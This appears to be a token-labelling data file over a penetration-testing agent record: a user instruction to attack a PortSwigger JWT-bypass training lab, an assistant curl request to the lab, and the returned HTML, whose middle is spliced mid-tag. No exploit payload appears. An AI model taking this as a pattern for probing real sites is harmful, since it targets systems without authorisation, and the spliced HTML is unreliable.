OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_portswigger_1;attack https://0ac2006504c2d4e1e7dd92dc00f40026.web-security-academy.net/ Title Accessing lab: JWT authentication bypass via unverified signature...;attack [URL] Title Accessing lab: JWT authentication bypass via unverified signature...;8:13:URL;OOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'user'};8:13:URL;OOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_portswigger_2;"{""command"": ""curl"", ""args"": ""-i https://0ac2006504c2d4e1e7dd92dc00f40026.web-security-academy.net/""}";"{""command"": ""curl"", ""args"": ""-i [URL]""}";32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOO;pentestperf;{'role': 'assistant'};32:37:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_portswigger_3;"HTTP/2 200
|
||
content-type: text/html; charset=utf-8
|
||
set-cookie: session=; Secure; HttpOnly; SameSite=None
|
||
x-frame-options: SAMEORIGIN
|
||
content-length: 5804
|
||
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
|
||
<link href=/resources/css/labsBlog.css rel=stylesheet>
|
||
<title>JWT authentication bypass via unverified signature</title>
|
||
</head>
|
||
<body>
|
||
<script src=""/resources/labheader/js/labHeader.js""></script>
|
||
<div id=""academyLabHeader"">
|
||
<section class='academyLabBanner'>
|
||
<div class=container>
|
||
<div class=logo></div>
|
||
<div class=title-container>
|
||
<h2>JWT authentication bypass via unverified signature</h2>
|
||
<a class=link-back href='https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature'>
|
||
Back to lab description
|
||
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
|
||
<g>
|
||
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
|
||
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
|
||
</g>
|
||
</svg>
|
||
</a>
|
||
</div>
|
||
<div class='widgetcontainer-lab-status is-notsolved'>
|
||
<span>LAB</span>
|
||
<p>Not solved</p>
|
||
<span class=lab-status-icon></span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</section>
|
||
</div>
|
||
<div theme=""blog"">
|
||
<section class=""maincontainer"">
|
||
<div class=""container is-page"">
|
||
<header class=""navigation-header"">
|
||
<section class=""top-links"">
|
||
<a href=/>Home</a><p>|</p>
|
||
<a href=""/my-account"">My account</a><p>|</p>
|
||
</section>
|
||
</header>
|
||
<header class=""notificatit?postId=5"">View post</a>
|
||
</div>
|
||
<div class=""blog-post"">
|
||
<a href=""/post?postId=1""><img src=""/image/blog/posts/13.jpg""></a>
|
||
<h2>Lies, Lies & More Lies</h2>
|
||
<p>I remember the first time I told a lie. That's not to say I didn't do it before then, I just don't remember. I was nine years old and at my third school already. Fitting into already established friendship groups...</p>
|
||
<a class=""button is-small"" href=""/post?postId=1"">View post</a>
|
||
</div>
|
||
<div class=""blog-post"">
|
||
<a href=""/post?postId=4""><img src=""/image/blog/posts/49.jpg""></a>
|
||
<h2>Say It With Flowers - Or Maybe Not</h2>
|
||
<p>Ahhhh, St. Valentine's Day. What better way to let that special someone know you love them than giving them a beautiful bouquet of flowers. It's OK for those who know you feel that way, but be careful of going over...</p>
|
||
<a class=""button is-small"" href=""/post?postId=4"">View post</a>
|
||
</div>
|
||
<div class=""blog-post"">
|
||
<a href=""/post?postId=3""><img src=""/image/blog/posts/59.jpg""></a>
|
||
<h2>Festivals</h2>
|
||
<p>Reminiscing about festivals is a lot like reminiscing about university. In your head there's those wild party nights, meeting cool new people and the great experience of being away from home. Very similar to the buzz about going to a...</p>
|
||
<a class=""button is-small"" href=""/post?postId=3"">View post</a>
|
||
</div>
|
||
<div class=""blog-post"">
|
||
<a href=""/post?postId=2""><img src=""/image/blog/posts/2.jpg""></a>
|
||
<h2>21st Century Dreaming</h2>
|
||
<p>Despite the number of differences in lifestyle between us humans, we can all have dreams with similar themes. I have very vivid dreams which appear like full-length movies. I have noticed changes as society and technology evolves.</p>
|
||
<a class=""button is-small"" href=""/post?postId=2"">View post</a>
|
||
</div>
|
||
</section>
|
||
</div>
|
||
</section>
|
||
<div class=""footer-wrapper"">
|
||
</div>
|
||
</div>
|
||
</body>
|
||
</html>";"HTTP/2 200
|
||
content-type: text/html; charset=utf-8
|
||
set-cookie: session=; Secure; HttpOnly; SameSite=None
|
||
x-frame-options: SAMEORIGIN
|
||
content-length: 5804
|
||
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
|
||
<link href=/resources/css/labsBlog.css rel=stylesheet>
|
||
<title>JWT authentication bypass via unverified signature</title>
|
||
</head>
|
||
<body>
|
||
<script src=""/resources/labheader/js/labHeader.js""></script>
|
||
<div id=""academyLabHeader"">
|
||
<section class='academyLabBanner'>
|
||
<div class=container>
|
||
<div class=logo></div>
|
||
<div class=title-container>
|
||
<h2>JWT authentication bypass via unverified signature</h2>
|
||
<a class=link-back href=‘[URL]’>
|
||
Back to lab description
|
||
<svg version=1.1 id=Layer_1 xmlns=‘[URL]’ xml:space=preserve title=back-arrow>
|
||
<g>
|
||
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
|
||
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
|
||
</g>
|
||
</svg>
|
||
</a>
|
||
</div>
|
||
<div class='widgetcontainer-lab-status is-notsolved'>
|
||
<span>LAB</span>
|
||
<p>Not solved</p>
|
||
<span class=lab-status-icon></span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</section>
|
||
</div>
|
||
<div theme=""blog"">
|
||
<section class=""maincontainer"">
|
||
<div class=""container is-page"">
|
||
<header class=""navigation-header"">
|
||
<section class=""top-links"">
|
||
<a href=/>Home</a><p>|</p>
|
||
<a href=""/my-account"">My account</a><p>|</p>
|
||
</section>
|
||
</header>
|
||
<header class=""notificatit?postId=5"">View post</a>
|
||
</div>
|
||
<div class=""blog-post"">
|
||
<a href=""/post?postId=1""><img src=""/image/blog/posts/13.jpg""></a>
|
||
<h2>Lies, Lies & More Lies</h2>
|
||
<p>I remember the first time I told a lie. That's not to say I didn't do it before then, I just don't remember. I was nine years old and at my third school already. Fitting into already established friendship groups...</p>
|
||
<a class=""button is-small"" href=""/post?postId=1"">View post</a>
|
||
</div>
|
||
<div class=""blog-post"">
|
||
<a href=""/post?postId=4""><img src=""/image/blog/posts/49.jpg""></a>
|
||
<h2>Say It With Flowers - Or Maybe Not</h2>
|
||
<p>Ahhhh, St. Valentine's Day. What better way to let that special someone know you love them than giving them a beautiful bouquet of flowers. It's OK for those who know you feel that way, but be careful of going over...</p>
|
||
<a class=""button is-small"" href=""/post?postId=4"">View post</a>
|
||
</div>
|
||
<div class=""blog-post"">
|
||
<a href=""/post?postId=3""><img src=""/image/blog/posts/59.jpg""></a>
|
||
<h2>Festivals</h2>
|
||
<p>Reminiscing about festivals is a lot like reminiscing about university. In your head there's those wild party nights, meeting cool new people and the great experience of being away from home. Very similar to the buzz about going to a...</p>
|
||
<a class=""button is-small"" href=""/post?postId=3"">View post</a>
|
||
</div>
|
||
<div class=""blog-post"">
|
||
<a href=""/post?postId=2""><img src=""/image/blog/posts/2.jpg""></a>
|
||
<h2>21st Century Dreaming</h2>
|
||
<p>Despite the number of differences in lifestyle between us humans, we can all have dreams with similar themes. I have very vivid dreams which appear like full-length movies. I have noticed changes as society and technology evolves.</p>
|
||
<a class=""button is-small"" href=""/post?postId=2"">View post</a>
|
||
</div>
|
||
</section>
|
||
</div>
|
||
</section>
|
||
<div class=""footer-wrapper"">
|
||
</div>
|
||
</div>
|
||
</body>
|
||
</html>";856:861:URL|1008:1013:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
